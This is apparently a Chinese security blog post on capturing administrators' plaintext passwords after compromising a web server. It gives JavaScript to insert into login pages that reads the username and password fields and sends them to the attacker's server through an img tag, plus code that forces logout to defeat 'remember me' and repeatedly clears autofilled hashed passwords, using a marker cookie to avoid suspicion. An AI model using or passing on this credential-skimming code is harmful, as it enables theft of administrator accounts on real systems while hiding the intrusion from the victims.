改进js抓明文密码的方案

admin 2021年11月13日13:05:40评论185 views字数 2978阅读9分55秒阅读模式
0x00 前言
之前写过一篇文章管理员,你的密码安全吗?,里面分享了一种getshell后修改js和后端源码抓取管理员明文密码的方案,但有时后端源码并不是那么好修改的,或者修改后并不能立即生效,使得这个方案无用武之地。

改进js抓明文密码的方案
几个月后又写了一篇文章抓ip+端口落地身份的方案,分享了一种仅通过修改js即可抓取目标ip+端口以落地身份的方案。

最近突然灵光一闪:这第二种方案的技术完全可以用于改进第一种方案吧!于是就有了今天这篇文章:仅通过修改js即可抓取明文密码的方案。

0x01 抓密码无需修改后端源码
首先审查前端源码,找到点击登陆按钮后会调用的js函数,如果没有调用任何js函数就手动给它加一个onclick。
改进js抓明文密码的方案

在服务器里找到包含这个函数的前端源码文件,在开头添加以下两行代码获取明文账密,需要根据实际情况确定定位用户名和密码元素的方式(这里是用name属性来定位)。
//获取用户输入的用户名var username2 = document.getElementsByName("username")[0].value//获取用户输入的密码var password2 = document.getElementsByName("password")[0].value

获取到明文账密后,需要把账密发送出去。之前的方案受限于浏览器的同源策略,需要使用ajax发送给本机的后端源码再进行处理。
改进js抓明文密码的方案

但是落地ip+端口那篇文章发现,使用img标签外带数据的方式是可以bypass同源策略的。所以这里也添加img标签来传输获取到的账密信息,代码如下:
document.write("<img src='http://你的vps的ip/flag@"+username2+'@'+password2+"'>")

最终修改后的代码如下(那个document.cookie可以先忽略,等下再介绍它的作用)。
改进js抓明文密码的方案

需要注意的是,添加img标签的代码必须放在已有的登陆处理代码之后,否则会登陆失败并且页面一片空白只剩一个加载失败的图片:
改进js抓明文密码的方案
虽然小黑是前端转行安全的,但导致这个问题的具体原理已经说不上来了,只依稀记得document.write如果在页面加载完毕之后再进行调用会重写整个页面,导致它之后的js代码都不会被执行。登陆处理的js代码没有完整执行自然会导致登陆失败。这一点是需要注意的,一定要小心不要让document.write影响正常的登陆功能

如果一切顺利,管理员登陆后你就可以查看你的vps的web日志收取账密信息了。(具体环境搭建参加文章《抓ip+端口落地身份的方案》,注意https站点不能向http发送请求。)
改进js抓明文密码的方案

顺便一提,如果你能访问目标主机的web日志并且权限维持的很稳,那也可以直接用目标的主机和域名来收取明文账密,这样就不需要使用自己的vps搭环境+申请域名了。

0x02 keeplogin问题的解决方案
有些web应用的登陆界面会提供keeplogin的功能,有时也叫(remember me,或者记住我,保持登陆等等)。
改进js抓明文密码的方案
勾选了这个功能后,管理员只需登陆一次,之后很长时间都不需要再登陆。这对想抓取明文密码的我们非常不友好,那怎么解决这个问题呢。

目前我想到的方案是比较简单粗暴的:在登陆后的页面上插js代码,让管理员的cookie失效,逼迫他重新登陆。

但是也不能每次登陆后都让管理员的cookie失效,这样管理员就无法正常使用系统了,所以还要加一个我们自己创造的cookie,当这个cookie存在的时候就不执行失效动作。

具体代码如下:首先在login页面的login函数里创建一个我们自己的cookie,注意path一定要设置,否则这个cookie就只在login页面才有用。
document.cookie ="islogin=1;path=/"
改进js抓明文密码的方案

然后在登陆后的主页面添加按条件清除cookie的代码,清除cookie有两种方案,一是控制js直接删除cookie,简单快捷但是会受到httponly的限制。所以这里采用了第二种方案:通过点击页面提供的logout按钮清除cookie

改进js抓明文密码的方案
//定位logout按钮元素var logout2 = document.querySelector("span[langtag='word-logout']")//判断是否存在我们自创的cookievar islogin = document.cookie.indexOf("islogin=");//如果不存在,点击logout按钮登出if(islogin == -1){logout2.click();}
改进js抓明文密码的方案
一切顺利的话,keeplogin的管理员会在下一次使用后台时被强制踢出,只有重新登陆一次之后才会恢复正常,而他的明文账密也就在这一次登陆时被我们抓到啦。

0x03 浏览器保存前端加密的密码问题的解决方案
这个问题虽然不常见,但居然被我在实战项目中遇到了,那就在这里讲一下:
改进js抓明文密码的方案
看上面的代码逻辑:首先判断用户提交的密码是不是32位的,如果不是就用md5加密后再提交过去(加密后变成32位)。

这就导致了一个问题,如果用户直接提交加密后的32位密码也是可以校验通过的,但抓取到这个密码对我们毫无意义(因为直接去数据库就能拿到,解不出来没什么用)。

而现在的浏览器通常有自动保存并填写密码的功能,如果保存了这个加密后的密码,那无论让管理员重新登陆多少次,我们都抓不到明文密码。

针对这个问题目前我想到的解决方案是:循环检测密码框中内容的长度,如果等于32(加密后的条件)就把它清空,让管理员手动输入密码。

首先定义一个检测并清除密码框的函数。
//检测并清除32位的密码function clearpass(){    //获取密码框元素    var loginform = document.getElementsByName("password")[0]      //检测已有内容的长度      if(loginform.value.length==32){            //清空密码框            loginform.value=""       }}

然后设置一个定时器,每1ms执行一次这个函数
window.setInterval(clearpass,1)

为了避免引起管理员怀疑,这里也可以利用我们在0x02章节自创的cookie,当这个cookie存在时不执行动作。完整代码如下:
改进js抓明文密码的方案

一切顺利的话,下一次管理员登陆时会发现原本浏览器自动保存并输入的密码,现在是空的,必须手动输入密码登陆一次后才能恢复正常,而他的明文账密也就在这一次登陆时被我们抓到啦。

0x04 后记

改进js抓明文密码的方案

VX公众号:《小黑的安全笔记》

1、脑海中的一个想法
2、总结成一套方案
3、写成一个工具简化人工操作
4、工具中考虑到各种意外情况的处理

也许那些伟大的工具都是这么诞生的吧,还记得我第一次使用sqlmap时的惊讶——这个工具竟然能让一个不懂sql注入原理的脚本小子实现sql注入攻击,甚至它居然能发现很多手工找不出来的注入。

这套抓密码的方案目前还不是很简化,如定位元素,找js代码插入位置等操作必须有一定的前端基础才能实现。

希望我以后有时间能把这套方案总结的再通用一点,甚至可以写出一个工具一键利用吧(又给自己挖坑),致敬那些无私奉献提供工具的前辈!

END.


喵,点个赞再走吧~

本文始发于微信公众号(小黑的安全笔记):改进js抓明文密码的方案

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月13日13:05:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   改进js抓明文密码的方案https://cn-sec.com/archives/413078.html

发表评论

匿名网友 填写信息